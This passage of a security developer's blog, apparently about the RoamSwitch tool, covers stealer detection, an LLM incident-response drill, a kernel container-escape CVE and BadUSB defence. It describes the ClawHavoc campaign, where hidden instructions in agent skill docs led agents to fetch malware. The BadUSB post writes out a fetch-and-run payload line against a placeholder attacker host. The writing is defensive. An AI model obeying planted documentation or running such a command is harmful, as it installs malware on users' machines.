The log auditor (frequency-anomaly detection) is where I'd overestimated my own work and want to correct the record. SecurityLogAuditor's actual predicate only covers sudo, sshd, loginwindow, Gatekeeper (com.apple.security.syspolicy), and XProtect-related processes. It doesn't watch osascript launches or curl invocations at all, so it has no behavioral read on AMOS running. I went further and checked whether widening that predicate would even help, by actually pulling the unified log. It wouldn't. osascript launching is logged, but the actual command text handed to do shell script is never recorded anywhere in the log. There's no widening of scope that fixes this, the data simply isn't there. What the log auditor is genuinely good for is surfacing an XProtect detection, if and when Apple ships a signature for this malware family, as a scored, "first time we've seen this template" anomaly instead of something buried in Console.app that nobody reads.

I ported the same clipboard check to the Linux build (roamswitch-linux) too, since GNOME's Alt+F2, KRunner, and similar "paste and run" launchers make the same attack viable there. It ended up simpler than I expected. Instead of shelling out to xclip/wl-paste, it reuses gtk::Clipboard, which already worked transparently across X11 and Wayland for the existing leaked-secret scanner, so no external process calls needed. The pattern match shares its ruleset with the on-disk YARA scanner, and clears the clipboard on a hit the same way the Mac side does.

OpenClaw/ClawHavoc, when the target is the agent, not the human

Between late January and February 2026, a large-scale supply-chain poisoning campaign, tracked as ClawHavoc, hit OpenClaw's ClawHub, a marketplace for AI-agent skills. Attacker-registered developer accounts uploaded 1,184+ malicious skills; Bitdefender Labs found roughly 17% of skills analyzed in the marketplace's first few weeks carried a malicious payload. The trick is hiding instructions inside SKILL.md/README documentation, so an agent reading the "docs" as part of its normal workflow ends up fetching and running malware, confirmed in the wild as an AMOS distribution vector.

The shift here is explicit. The target moved from "deceive the human" to "manipulate the agent's workflow." Since the payload is AMOS again, the C2/domain-reputation story is basically the same as before. But the clipboard fix doesn't apply here, and I want to be precise about why. It assumes a human is copying and pasting a command somewhere. An agent reading SKILL.md and running a shell command directly never touches the clipboard, so it sails right past that check. Worth noting separately, RoamSwitch's guard that blocks external LAN access to local AI server ports (Ollama on 11434, LM Studio on 1234, and similar) covers a different threat entirely, inbound access to a model server on your own machine, not an agent on that same machine being tricked into acting against it.

There's one real lead here, though, and it's Linux-specific. The Server Edition's eBPF-based Runtime Guard (built on Falco/Tetragon) captures full command text at the kernel level, unlike AppleScript's do shell script. Server Edition's whole use case is a headless machine an AI agent operates on your behalf, which maps directly onto this exact threat. Wiring click_fix::match_clickfix_pattern() into that pipeline has real potential value. Two things stand between "potential" and "shipped," though. Falco/Tetragon is a genuinely heavy dependency, not something you casually add to a lightweight client build the way the clipboard fix was, and it's entirely possible Falco/Tetragon's own default ruleset already flags a base64-decode-into-bash pattern, which I haven't checked yet. Finding that out comes before writing any new code.

What actually changed wasn't the bug class

Lay these cases side by side and no new vulnerability class jumps out. ClickFix social engineering, AppleScript-based stealers, C2 exfiltration, all extensions of things that existed years ago. What changed is speed and cost. Flashpoint's research puts the median time from vulnerability disclosure to actual exploitation at 745 days in 2020, down to 44 days in 2025, though that's mostly the mainstreaming of n-day exploitation in general, not something you can pin specifically on AI. The more directly AI-attributable number comes from CrowdStrike's 2026 Global Threat Report. AI-enabled adversary operations were up 89% year over year, with average breakout time (initial access to lateral movement) down to 29 minutes, fastest observed at 27 seconds. Reconnaissance, exploit authoring, ransom-note drafting, work that used to bottleneck on human time, is now something AI does cheaply and at volume. RoamSwitch's package CVE matcher pulling a daily-updated vulnerability map and attempting a background fetch mid-scan is built around exactly that bottleneck disappearing.

There's a second, nastier implication for signature-based detection specifically. When AI regenerates and re-obfuscates the malware binary per target, the way GTG-2002 did, the same campaign can produce a different hash for every victim. A static-signature scanner like ClamAV is structurally always a step behind that, which is why leaning on behavior- and destination-based layers, log auditing, DNS reputation, alongside it isn't a hedge, it's the correct response to that specific weakness.

Writing this actually closed one real gap, and that felt good. Here's what's still open. Keychain access after execution, scoped out on purpose, not by accident; and an AI agent driving a shell directly without ever touching a clipboard, unsolved on Mac, a real but unconfirmed lead on Linux Server Edition. No amount of engineering makes this category of attack go away completely. What you can do is know exactly where the gaps are, work backward from real incidents to figure out what to close next, and actually close what's closable.

I Ran a Fire Drill for Incident Response with a Local LLM (and Caught It Making Things Up)

Tetsuharu Fujiki — Wed, 09 Sep 2026 13:45:03 +0000

A Japanese version of this is on Note.

RoamSwitch is a network security tool I build solo for Mac and Linux. It's Zero Telemetry, so nothing about your usage ever leaves the machine, and when it detects behavior that looks like ransomware, it does something drastic: it cuts all network traffic. We call this Air-Gap containment. It's the last line of defense against data exfiltration and lateral spread, and I've been sitting with an uncomfortable fact ever since I shipped it.

The instant Air-Gap fires and severs your connection, any cloud AI you'd normally lean on, Claude Desktop included, goes dark with it.

Air-Gap fires at exactly the moment you most need clarity. Something's wrong, and you have to figure out what, without panicking, and decide what to do next. But the tool you'd normally reach for is on the other side of the connection you just killed.

The only thing that can fill that gap is a model that never needed the network in the first place. RoamSwitch already ships a read-only MCP (Model Context Protocol) server that AI agents can query. Wire that up to a local LLM running in Ollama, and diagnosis should still work even with the network hard-down.

That's the theory, anyway. Theory and "does it actually work when it matters" are different things. Smoke detectors you've never heard go off are the ones you trust the least. So instead of waiting for a real incident, I ran a drill, not to put out a fire, but to find out whether the tool and I would actually know what to do if one started.

1. RoamSwitch's MCP tools are read-only sensors, nothing more

Worth stating up front: RoamSwitch's MCP server has no tools that change configuration or flip a lockdown state. An AI agent can only read diagnostics: exposed ports, guard status, incident history. Nothing it does can make things worse.

For this drill I used three tools we'd just shipped: get_port_anomaly_incidents, which returns the history of suspicious new listening ports that the Port Anomaly Guard auto-blocked; get_ebpf_incidents, the Server Edition eBPF runtime guard's containment history; and get_canary_status, which reports whether the ransomware canary (a decoy file) has been tampered with.

All three are exactly the kind of primary evidence that could be the reason Air-Gap fired in the first place. Until recently, none of them were reachable from a separate MCP process, because the incident data only ever lived in the resident daemon's memory. We'd just persisted it to disk so MCP could read it, which made it a natural thing to put through a drill.

2. Staging the incident in RoamSwitch's real state files

You don't light a real fire for a fire drill, and I wasn't about to run actual ransomware. Instead, I wrote a staged scenario directly into the state files RoamSwitch itself writes (/var/lib/roamswitch/port_guard.json and canary_incidents.json), and confirmed via raw JSON-RPC beforehand that the MCP tools could read it back correctly.

Here's the scenario. At 19:00:12, an unknown process backdoor_svc (PID 88231) starts listening on port 4444, the well-known default Metasploit reverse-shell port, and the Port Anomaly Guard detects and auto-blocks it. About four minutes later, at 19:04:47, the same process writes encrypted data into a monitored decoy file (~/Documents/.roamswitch_security_canary_do_not_delete.xlsx), and the Ransomware Canary catches it and blocks the write. It's a fairly plausible chain: initial access, then a few minutes later, ransomware-style encryption.

I passed that setup to a local LLM (qwen3.8:27b, running Q4-quantized in Ollama) through RoamSwitch's bundled MCP bridge. No hints, no tool names specified, just an open-ended question, the same way you'd actually ask it during a real incident:

Me: "RoamSwitch seems to have detected something unusual. Investigate what's happening on this machine right now. Tell me everything you can find: when it happened, which process was involved, what it did, and whether there's any suspicious network activity or tampering."

3. Watching the model build its own investigation

This was the most interesting part. I hadn't told it what to check, and it started calling MCP tools on its own:

🔧 get_guard_status              → check which guards are enabled
🔧 get_port_anomaly_incidents    → pull the port anomaly history
🔧 get_ebpf_incidents            → check eBPF-level containment (none found)
🔧 get_canary_status             → pull the canary detection history
🔧 get_quarantine_status         → also check quarantined malware
🔧 audit_security_logs           → audit recent security logs too
🔧 get_exposed_ports             → cross-check currently exposed ports
🔧 verify_fim                    → attempt a file integrity check

It didn't stop at "a port got blocked." It went cross-checking whether the same trail showed up in the canary, in eBPF, in the logs, to see whether this was a one-off false positive or something bigger. That's the same triage instinct a human analyst runs on reflex.

Here's what came back after it had gathered everything. It answered in Japanese, so this is a faithful translation, not paraphrased or trimmed:

[AI OUTPUT STARTS HERE]

RoamSwitch Security Investigation Report

Summary: Between 19:00 and 19:05 on 2026-09-09, a concealed backdoor process backdoor_svc (PID 88231) communicated externally on this host, then tampered with (encrypted) a canary file, in what looks like a combined backdoor-and-ransomware incident. RoamSwitch detected it and has already auto-isolated four anomalous ports and contained the tampering.

1. Timeline (all times JST, 2026-09-09)

19:00:12 — /tmp/.hidden/backdoor_svc (PID 88231) detected on port 4444; ports 9005 / 33999 / 8791 flagged simultaneously.
19:00:12 — RoamSwitch auto-isolates all 4 ports (4444, 9005, 33999, 8791). Baseline already captured.
19:04:47 — Canary file /home/tetsuharu/Documents/.roamswitch_security_canary_do_not_delete.xlsx detected tampered/encrypted. Suspected same actor, backdoor_svc (PID 88231). RoamSwitch contained it (isContained: true).
20:21:46 — RoamSwitch's most recent inspection timestamp (current check-in time).

2. Suspect process profile

Binary path: /tmp/.hidden/backdoor_svc
Process name: backdoor_svc
PID: 88231
Concealment method: placed under a dotted .hidden directory in /tmp/ (avoiding visibility)
Primary port: 4444 (a classic backdoor / reverse-shell port)
Associated anomalous ports: 9005, 33999, 8791 (presumed C2 channel or data-exfiltration use)

(⚠️ A /tmp/.hidden/ path structure is a typical pattern malware uses for self-deletion and detection evasion.)

3. Impact assessment

3-1. Network (port) anomalies

4444: presumed C2 (command-and-control) channel for the backdoor itself.
9005 / 33999 / 8791: presumed used for secondary data exfiltration or communication with another C2.
All 4 ports auto-isolated by RoamSwitch.
The only currently active maintenance port is 22 (SSH). The possibility that unauthorized SSH access was the infection vector cannot be ruled out.

3-2. File tampering (ransomware-like behavior)

Target: a canary file under /home/tetsuharu/Documents/ (1 of 16 monitored files confirmed so far).
Detected action: tampering / encrypted write.
Actor: backdoor_svc (PID 88231).
Status: contained (RoamSwitch blocked the write).
Monitored directories total 4 (Documents / Desktop / Downloads / Pictures), 16 files. Only one canary has been reported so far, but the same process may have attempted similar writes to other files.

3-3. eBPF-level status

No eBPF isolation is currently active (is_isolated: false, 0 isolated PIDs).
The eBPF incident list is empty — port-level (Netfilter/cgroup) measures took precedence, and no separate anomaly has been detected at the eBPF layer.

4. Current RoamSwitch defense status

Anomalous port auto-isolation (4444, 9005, 33999, 8791): ✅ done
Canary tampering containment: ✅ done
Baseline capture: ✅ done
eBPF dynamic isolation: ⬜ not performed (deemed unnecessary, or not triggered)
Whitelisted IPs: none

5. Recommended next actions (by priority)

Immediate:

kill -9 88231 to stop backdoor_svc (even though RoamSwitch has already contained it, confirm no residual binary remains).
Fully delete everything under /tmp/.hidden/ and scan the whole drive for similar binaries.
Confirm via ss -tlnp / iptables -L that outbound connections on 4444 / 9005 / 33999 / 8791 are actually severed.

Short-term (within a few hours):

Cross-check all 16 monitored files against canary state to check for additional tampering.
Pull activity traces around 19:00 on 9/9 (SSH connections, file creation/deletion) from /var/log/auth.log, journalctl, ~/.bash_history, and /tmp.
Check SSH (port 22) connection logs for unauthorized logins as a possible infection vector.

Medium-term (within a day):

Check upstream logs (proxy / firewalld / router) for any traffic around 19:00 on 9/9 that went to unusual destinations (C2 IP/domain), to assess whether data was exfiltrated.
If leakage is possible, rotate all credentials for affected services (passwords, API tokens, SSH keys).
A full clean OS reinstall is recommended — a binary placed under /tmp/.hidden/ may persist in memory, and simple deletion may not be sufficient to restore trust.

6. Summary

Around 19:00 on 9/9, backdoor-type malware infiltrated this host, communicated externally over four ports, and at 19:04 attempted to tamper with user documents via encrypted writes. RoamSwitch immediately auto-isolated the ports and contained the canary tampering, which limits the damage to some degree, but the binary itself (/tmp/.hidden/backdoor_svc) and the risk of tampering to other files remain. Please carry out the immediate-to-medium-term actions above as soon as possible.

(This report is based on the responses of three RoamSwitch tools: get_port_anomaly_incidents, get_ebpf_incidents, and get_canary_status.)

[AI OUTPUT ENDS HERE]

Timestamps, process name, PID, port numbers, detection details. It picked up every piece of raw tool data correctly, and tied two separate events, the port block and the canary trigger, into a single attack using the shared PID as the link. It even laid out prioritized next steps I could act on directly. If a local model can hand you this much triage while the network is completely down, that's genuinely useful.

4. But one line in there should not be trusted at face value

This is the part I actually wanted to write about. Buried in that report is a claim that isn't true. It's sitting right there in section 3-1.

"9005 / 33999 / 8791: presumed used for secondary data exfiltration or communication with another C2."

Those three ports had nothing to do with this incident. They were legitimate processes, LM Studio and some Node.js dev servers, that the Port Anomaly Guard had auto-blocked on this machine at some earlier, unrelated point in time, and that history happened to still be sitting in a different field (auto_isolated_ports) of the same state file. The model folded it into the narrative as if it were part of tonight's attack.

It's hedged with "presumed," and it reads persuasively, which is exactly what makes it dangerous. Under time pressure, a bolded conclusion and a quietly-hedged guess get read with the same weight.

This isn't a flaw specific to this model or this drill. Every report an AI hands you like this mixes two different things into one continuous block of text, confirmed fact (what the tool actually returned) and inference the model constructed on top of it. This time the mistake was harmless. But imagine it had said "there's evidence of communication with IP address X" instead, the kind of claim that actually steers your response.

5. What's left for the human isn't reading the report, it's verifying it

If you're actually going to act on a report like this, there are three things worth doing every time.

First, cross-check every proper noun and number against the tool's raw data. Process names, PIDs, port numbers, timestamps: you can verify these on the spot against what get_port_anomaly_incidents or get_canary_status actually returned. That part deserves your trust. Second, treat every causal claim as a hypothesis. "A caused B," "this is part of the same attack," these are the model's interpretation, not fact, and as this drill showed, they can look plausible on a timeline and still be groundless. Third, pause before acting on anything irreversible. kill -9, a clean reinstall, read the timeline and the recommended actions as two separate things, and don't take the second on faith just because the first checked out.

Handing investigation and synthesis to an AI agent, while keeping the final call for yourself (did this actually happen, does this actually need this response), is the division of labor this drill made concrete for me.

The point of a fire drill was never putting out a fire. It's confirming that you and your equipment actually work when it counts. And what I got out of this one is real confidence that a local LLM can carry the weight of first-pass triage even with the network completely severed. Just remember that the reliable partner you're leaning on is also, occasionally, a very confident liar. I'll keep that in mind for the next drill.

RoamSwitch for Linux: https://lafine.net/linux
MCP setup guide: https://lafine.net/mcp-setup.html

Your containers are not a security boundary, and CVE-2026-53362 just proved it

Tetsuharu Fujiki — Sun, 06 Sep 2026 18:18:21 +0000

On August 27, 2026, CISA added another Linux kernel vulnerability to its Known Exploited Vulnerabilities catalog. CVE-2026-53362, nicknamed "Frag Gap." An out-of-bounds write in the IPv6 fragmentation path. CVSS 7.8. Already being exploited in the wild.

When news like this shows up, I've noticed engineers around me split into two camps. One says "we run everything in Kubernetes, so this doesn't really touch us." The other camp skims the headline and moves on within a few seconds. Looking back, both end up at the same blind spot.

I'll admit it honestly: for a long time, I was closer to the first camp.

I don't think this assumption comes from carelessness. It's closer to a structural misunderstanding that container tooling quietly plants in you, precisely because it's so well engineered.

Part of it is just over-trust in the word "isolation." Containers get described as "lightweight VMs" or "fully independent environments," and that framing pairs nicely with how disposable they feel (something breaks, you just throw the container away) until you genuinely believe nothing that happens inside can ever reach outside.

Carrying over habits from hypervisor-based virtual machines doesn't help either. A traditional VM (an EC2 instance, VMware, VirtualBox) really does have its guest kernel physically separated from the host by a hypervisor. Keep that mental model and move to Docker or Kubernetes, and it feels obvious that "breaking out of a container to affect the host" simply isn't a thing.

And then there's infrastructure-as-code quietly making the base OS invisible. A developer today can write a Dockerfile, build it in CI, and ship to a managed container platform without ever touching the underlying Linux kernel directly. Something you never interact with is easy to stop thinking about entirely.

But a container is not an operating system. It's not a virtual machine emulating separate hardware and booting an entirely different kernel. The Linux kernel a container uses is the exact same, single kernel the host is running. Namespaces restrict what a process can see. They don't give each container its own copy of the kernel to run code against. Every process, containerized or not, ultimately lands in the same kernel space.

If a VM is a standalone house with its own foundation, a container is more like a room in a shared house. Your room is walled off and comfortable, and you can't see what your housemates are doing. But the plumbing running under the floor, the kernel, is shared by everyone in the building. Crack that pipe, and it doesn't matter how tidy your own room is; the whole house floods.

Understanding this on an intellectual level is one thing. Actually feeling, in your gut, that "a process inside a container can reach in and directly corrupt the host's kernel memory" is another. Firewalled. Containerized. Isolated. Layer these reassurances on top of each other long enough, and your attention quietly drifts away from the one-piece-of-rock kernel sitting underneath all of it.

Frag Gap is dangerous precisely because it exploits that blind spot. The attack never starts with the kernel bug itself. It starts with a foothold: a vulnerable web app, a poisoned npm package, a stolen SSH key — anything that gets you unprivileged code execution somewhere. From there, if that process can create a UDP socket (which almost none of them are prevented from doing), it can abuse IPv6 fragment handling to overwrite kernel memory directly and walk straight out of the container onto the host, as root.

And because this attack rewrites trust structures inside the kernel itself, it takes SELinux-style mandatory access control down with it. Two defensive lines a lot of teams lean on ("we're containerized" and "we have SELinux enforcing") go dark in the same instant.

I build a defensive security app for Linux (RoamSwitch) as an independent developer, and following this story, I went back to my own code in a bit of a panic. Sure enough, most of my existing protections were built around inbound packets and filesystem writes, watching things arrive from the outside. None of them were designed to catch "a process that's already running inside the box, reaching directly into the kernel through a syscall." That gap was structural, not a bug I'd missed.

Over the following days I added a kernel-level toggle that denies unprivileged processes the ability to create a new user namespace, and confirmed, as an unprivileged user, that unshare -U -r now returns Operation not permitted. That felt like progress. It also left me with a distinct unease: I hadn't fixed the vulnerability. I had closed one of the doors an attacker uses to reach it. The hole in the kernel itself stays open until a real patch lands.

And closing that door has its own cost. Blocking unprivileged user namespaces also breaks rootless Docker, rootless Podman, and browser sandboxing features that rely on the exact same kernel mechanism for entirely legitimate reasons. Behind the very door I closed to protect people, some of their everyday developer workflow was sitting there too. Not exactly a clean win.

What stuck with me from this whole exercise is a sentence that's obvious once you say it out loud, but easy to forget day to day: a container is a boundary, not an exemption. Containers are a genuinely great piece of technology. They make development dramatically better. But what they mainly give you is the appearance of process and filesystem separation, not protection for the single slab of kernel underneath all of it. If that slab cracks, it doesn't matter how neatly the boxes on top of it are arranged.

As someone who builds security software, I'll say this plainly: shipping a mitigation like this doesn't earn me the right to say "you're safe now." Only a distribution's kernel patch actually fixes the vulnerability. All a tool like mine can do is narrow the paths an attacker can use while that patch is on its way, and try to notice abnormal behavior sooner rather than later. Hardening a system and fixing a vulnerability look similar from a distance, but they are not the same job. This was a useful, slightly humbling reminder of that.

If you're reading this and you run web services in containers, and you genuinely can't say when you last checked the kernel version on the host underneath them, that's probably not because containers made it unnecessary. It's more likely that nothing forced your attention there. It might be worth running that one command today.

If you want to take it a step further as a team, wire a scanner like Trivy or Grype into your CI/CD pipeline so it surfaces CVEs in your base image, not just your application code. Don't rely on any one person remembering to check. Build a system where the floor stays safe whether anyone's thinking about it or not. However tidy the rooms look on the inside, if the shared plumbing gives way, everyone goes down with it.

Running defensive security on a Clockwork uConsole, and why edge Linux needs its own shield

Tetsuharu Fujiki — Sat, 05 Sep 2026 12:33:57 +0000

I carry around a Clockwork uConsole, a handheld Linux computer that feels like an artifact from a cyberpunk novel. It has a tiny mechanical keyboard, an integrated display, and a machined chassis housing a Raspberry Pi Compute Module 4. Instead of sitting at a desk, I use it lying in bed to write code, or pull it out while traveling to test features on the go. Having a full-fledged Linux development terminal right in your hands without needing a desk is surprisingly addicting.

Yet as I kept writing code under the covers and testing builds on mobile hotspots or transit networks, a practical question kept coming back to me. How secure is this portable Linux terminal when it actually faces an untrusted network.

On desktop operating systems, we take multiple layers of background defense for granted. On edge devices and single-board computers, however, getting the system to boot and run your code usually consumes all the attention, leaving security as an afterthought.

To see what was actually going on under the hood, I installed RoamSwitch, the defensive security suite I build for Linux, onto the uConsole and ran its twenty-point system audit.

The dashboard returned an overall score of ninety out of one hundred. It looked reassuring at first glance. But looking through the specific flags and audit notes, the structural vulnerabilities peculiar to edge hardware quickly became obvious.

The first notable item was UEFI Secure Boot, marked explicitly as not applicable. The Raspberry Pi boot architecture uses its own proprietary firmware bootloader rather than a standard UEFI firmware interface, meaning it cannot verify the cryptographic signature of the operating system bootloader. In the audit engine, we detect the board through the device tree model and CPU hardware identifiers, skipping this check entirely because the underlying silicon simply cannot provide that guarantee.

Directly above that was a warning regarding disk encryption. Operating systems on single-board computers run almost universally on microSD cards or raw eMMC storage without LUKS disk encryption. The installation process for full-disk encryption on these devices remains tedious, and most people skip it to avoid write penalties or recovery friction.

In short, these small machines have almost no defense at the physical or firmware level. If the hardware is taken or the storage card is pulled, the system offers no resistance before the operating system boots.

The risk multiplies the moment an edge device connects to a network.

When developers run software on a Raspberry Pi, they typically spin up local Web servers, development dashboards, or local language model inference engines. Most modern frameworks bind to all available network interfaces by default when explicit configuration is omitted.

While testing locally in bed on a home connection, this oversight usually goes unnoticed. But the moment you take that portable terminal on the road, tethering to a smartphone hotspot or connecting to a shared network to test builds, those listening ports become instantly visible to other devices on the subnet.

Scanning an unfamiliar subnet for open development ports takes only a single command. If the public router lacks strict client isolation, anyone on the same wireless connection can send requests straight into your handheld development environment.

Since the hardware and bootloader cannot protect the device, the entire defensive responsibility falls directly onto the operating system kernel and the network layer.

Hardening the kernel on ARM Linux comes with its own quirks. While building the Yama Linux Security Module protections, I found that even if a Raspberry Pi kernel is compiled with Yama support, the sysctl path for ptrace_scope will not exist unless yama is explicitly declared in the bootloader parameter list. We had to account for editing the cmdline file so that memory inspection between processes could actually be restricted. Alongside that, sysctl parameters enforce SYN cookies against flood attacks and enable strict reverse path filtering against spoofed packets. The daemon also pins the default gateway MAC address as permanent in the neighbor table to prevent ARP spoofing entirely.

At the network boundary, the background daemon monitors network interfaces. The moment the machine joins an unrecognized network, nftables rules silently drop all incoming traffic from the external local area network. Local processes can still reach their own listening ports on localhost, but from the outside perspective, the machine simply does not respond.

I also added an emergency cutoff switch on the interface to drop all physical wireless output. This talks directly to the Linux rfkill subsystem, halting Wi-Fi and Bluetooth transmission at the hardware controller level. When dealing with portable field equipment, having an instantaneous way to sever radio communication without hunting through network menus is an essential fallback.

Traditional enterprise security agents rarely fit this environment. They are typically too heavy for low-power ARM boards, consume significant processor time, and constantly stream megabytes of telemetry back to cloud servers. When running on a cellular hotspot or a constrained connection, an edge machine should not be wasting bandwidth on external analytics.

What edge Linux truly needs is quiet, self-contained protection that operates entirely on the device without relying on external infrastructure.

Small portable machines give us tremendous freedom to build and experiment wherever we go. But on an open field, you have to build your own walls. Watching the defensive indicators keep watch on that compact screen, I am reminded once again of the true spirit of Linux, where building security is simply part of taking ownership of your machine.

macOS is LEGO. Linux is Minecraft. Notes from building the same app in both.

Tetsuharu Fujiki — Wed, 02 Sep 2026 06:19:04 +0000

A Japanese version of this is on Note.

Building an app for a Mac is like LEGO.

The box comes full of well-made, standardized parts: tidy UI pieces, a finished Unix environment (a properly UNIX-certified one, at that), a huge shelf of compatible parts in Homebrew. Follow the booklet and even one person working alone can put together something that looks decent and holds up.

But LEGO has shapes that click and shapes that don't. Try to force a part that isn't cut to the stud system and it simply won't attach. On macOS that stud system is code signing, notarization, entitlements, SIP. Inside the standard it's comfortable; the moment you reach outside it, you're refused.

Linux was Minecraft.

You spawn on an empty patch of ground with nothing around you. Punch a tree for an axe, mine ore for tools, wire up redstone for automation. The ceiling is basically infinite, but for a while the environment-building itself — wrestling config files, installing what you need by hand — is the game. And when night falls, mobs come. You build the walls yourself.

I took the same thing, a background security app I wrote, and assembled it in both. I was planning a port. Swap pf for nftables, Swift for Rust, the AppKit menu bar for a GTK tray, done.

What I felt building it is that the difference isn't in the parts. It's that who looks after safety and trust is arranged differently from the start. At least that's how it looked to me, assembling the same app twice. And the thing I build lands right on that.

The booklet, and the parts that don't fit

macOS has a clear approach: don't make users evaluate developers. The box does it for them.

Apple checks the signature, runs the notarization, reviews the entitlements. A user never has to ask "can I trust this developer?" When you buy a sealed official LEGO set, you don't inspect every brick; you trust the stamp on the box. Even an app from an unknown individual like me, once it clears that, gets trusted because the user trusts Apple and that trust carries through.

From a developer's seat it's cramped. The shapes you can build are fixed up front, and anything off-spec means requesting permission one piece at a time. The entitlements for Network Extension and Endpoint Security go through an Apple request process that can take months, or come back denied.

But that cramped feeling is also the guarantee to the user. This app can't get outside the standard. It can't do anything outside its entitlements, and the places SIP protects are off-limits even to root. If one bad brick gets in, the whole build is meshed on the same stud system, so it's less likely to bring the structure down. The box carries part of the strength. The friction is, I think, a deliberate design choice.

(That said, when App Translocation broke my entire first-run flow, I did think "okay, this is overprotective.")

Spawning on empty ground

Linux doesn't have that box.

Peering at the whole filesystem with fanotify, rewriting the entire nftables ruleset, sending SIGSTOP to freeze somebody else's process — as root you can do all of it. Like breaking any block in creative mode, there's no mechanism that stops you at "that's too far." The moment your systemd daemon starts, it can do almost anything on the machine.

"Root can do anything" is an assumption that runs back through Unix. The awkward wrinkle: the one that actually holds The Open Group's UNIX certification is macOS (UNIX 03, going back to Mac OS X 10.5); Linux is a Unix-like system that implements the same conventions independently and has never been certified. And yet it's Linux that keeps the old "the administrator can touch everything" assumption plainly intact, while certified-UNIX macOS is the one layering SIP, the sandbox, and entitlements on top — places root can't reach. It's not about which is the "real" one. From the same starting point, the two picked opposite directions.

Freedom, if you want to call it that. But carrying a security app into it, it's mostly unnerving. Nobody hands you the guarantee that "this app won't go rogue." You write it yourself.

My app detects bulk ransomware encryption by spotting "one process creating a lot of high-entropy files in a short window," then freezes the culprit with SIGSTOP. The Mac version has the same logic. But on a Mac I can't reach into arbitrary processes without limit in the first place. On Linux I can, so I ended up hardcoding a list of things to never freeze: systemd, dockerd, NetworkManager, and friends.

Before that list existed, testing on my own machine, I misfired on shred, flagged it as ransomware, and went to freeze it. The daemon ballooned to 1.8 GB of RAM, hung for 30 seconds, and got killed by the systemd watchdog. All that was left in my home directory was one half-written mystery file. (Fixed since.) On a Mac that's the class of accident that would have stopped a step earlier.

So building the walls before nightfall was entirely on me. The emergency cutoff auto-releases on a timer. All firewall-touching code funnels through one place so two features can't write nftables at once. The line the box won't draw, I drew inside my own code.

But I drew it the way this world does things, or tried to. Everything opt-in, releasable at any time, and it expires on its own if you leave it. An app that's supposed to protect you shouldn't be the thing that overrides "the administrator is sovereign."

Assembly conventions

The difference in thinking shows up in the small stuff.

Firewall. macOS pf just wants an anchor; coexisting with everything else is assumed. Linux nftables, even with a dedicated table, shares one netfilter space with ufw, firewalld, and Docker. If someone runs nft flush ruleset, all of it goes, Docker's rules included. You watch your own rules.

Signing. macOS: Apple's notary service. The stamp belongs to whoever owns the box; I run every build through it. Linux: I sign with my own GPG key and put the fingerprint in the PKGBUILD's validpgpkeys. The trust starts with me. (The AUR currently has new-account registration disabled while it cleans up a wave of malicious packages, so one route in is just closed. A system with no central desk is fragile in spots like this.)

Config file. macOS: a plist and UserDefaults, effectively unreadable to the user. Linux: plaintext at ~/.config/roamswitch/config.json, where it's simply assumed the user can see exactly which block went where.

Uninstall. macOS: drag to Trash, done (and the helper leaves residue for a while). Linux: apt remove is expected to cleanly clear away everything you placed, and that's on the package.

Launch at login. macOS: one SMAppService call. Linux: two places, an XDG autostart entry and a systemd --user unit, and turning it fully off was quietly hard (one half kept coming back).

Earning a stranger's trust

The place the two diverged most was how you earn trust.

On macOS, the box's stamp is the trust. A closed-source paid app is normal and mostly nobody asks why. Notarization passed; that's often enough.

Do the same on Linux and "why isn't this open source?" is the first question. It's the same reason nobody on a multiplayer server installs a stranger's mod without reading it. A lot of people here put "you can read the source" at the front of what trust means, and "someone important vouched for it" carries less weight. It's the culture that grew up saying "given enough eyeballs, all bugs are shallow."

So I kept the source closed but wrote the whole design into a whitepaper and shipped a set of commands the user can run to confirm the app never talks outside: ldd to see no HTTP library is linked, ss to see there's not one outbound socket, strace to see every connect goes to AF_UNIX. If the box won't vouch for you, you open up what you built and show people.

Looking back

I don't think this is a question of which one is right.

macOS's friction annoys developers. But for users it's the comfort of "even if I install something sketchy, the box catches some of it." Linux's freedom lets you build anything, at the cost of owning your own strength and your own trust.

Assembling the same app in both taught me the difference isn't in features. It changes what the work is. On macOS my job was to build neatly inside the standard. On Linux my job is to set the standard myself, be careful it doesn't trample the resident's sovereignty, and — since "I set it myself" convinces nobody — show every part of it.

For someone who kept groaning about the booklet, a world without one is surprisingly tiring. But a line I drew myself, I can at least explain the whole reason for. That's not nothing.

The app is RoamSwitch. The Linux version is free for personal use. Full design details are in the whitepaper; the hands-on write-ups are on Zenn (Japanese).

Dropping BadUSB Keystrokes on macOS Before They Open Spotlight

Tetsuharu Fujiki — Mon, 31 Aug 2026 16:55:42 +0000

A few weeks ago, I watched a demonstration of an OMG Cable attacking a Mac.

If you haven't seen one in person, it is genuinely unnerving. The cable looks 100% identical to a standard braided USB-C charging cord. It charges an iPhone normally. But the instant you plug it into a laptop, an embedded microcontroller registers as a virtual USB keyboard and blasts keystrokes at over 1,000 words per minute.

Before your brain even registers that a device was plugged in, you see Spotlight flicker for a fraction of a second, Terminal pops up, and a one-line payload is executed:

Cmd+Space ➔ "terminal" ➔ Enter ➔ curl -sL https://attacker.com/payload | bash ➔ Cmd+Q

The entire compromise happens in under 500 milliseconds. No downloaded file to double-click. No browser prompt. Just an innocent-looking charging cable.

While building RoamSwitch, a lightweight macOS security utility, I realized our digital perimeter doesn't mean much if someone can compromise the local shell with physical access.

Here is how I implemented a physical keystroke-quarantine guard in Swift that drops BadUSB keystrokes in flight before macOS can process them.

Why macOS Doesn't Stop This Out of the Box

Apple introduced the "Allow accessory to connect?" dialog in macOS Ventura, which was a welcome step forward for USB-C security. But against a BadUSB cable, it runs into two practical problems:

The user already wants to connect it: If you borrowed a cable to charge your dying battery, you will click "Allow" without hesitation.
OS trust architecture: Once authorized at the bus level, macOS treats USB keyboards as trusted human input. There is no OS-level check to ask "is a human finger physically pressing these keys, or is a microchip spamming 100 keystrokes a millisecond?"

To macOS, every keystroke received from an authorized HID keyboard represents the direct, intentional command of the logged-in user.

The Quarantine Strategy: Drop Everything First

If you wait for a user to read an alert and click "Block," you've already lost. A BadUSB payload finishes before the human eye can even focus on a notification banner.

The only way to win this race is fail-closed quarantine:

[New USB Keyboard / BadUSB Inserted]
                 │
                 ▼
     [IOHIDManager Callback]
  (Detects non-whitelisted device)
                 │
                 ▼
    [Set isBlockingActive = true]
                 │
                 ▼
       [CGEventTap Callback]
(Returns nil for all key events: instant drop!)
                 │
                 ▼
  [Display Modal: "Did you plug this in?"]
   ├── User clicks "Approve": Whitelist & unblock
   └── User clicks "Reject": Keep blocked indefinitely

The moment a physical USB keyboard is plugged in:

IOHIDManager catches the attachment event.
If the device's hardware identity isn't already on the local whitelist, we immediately set isBlockingActive = true.
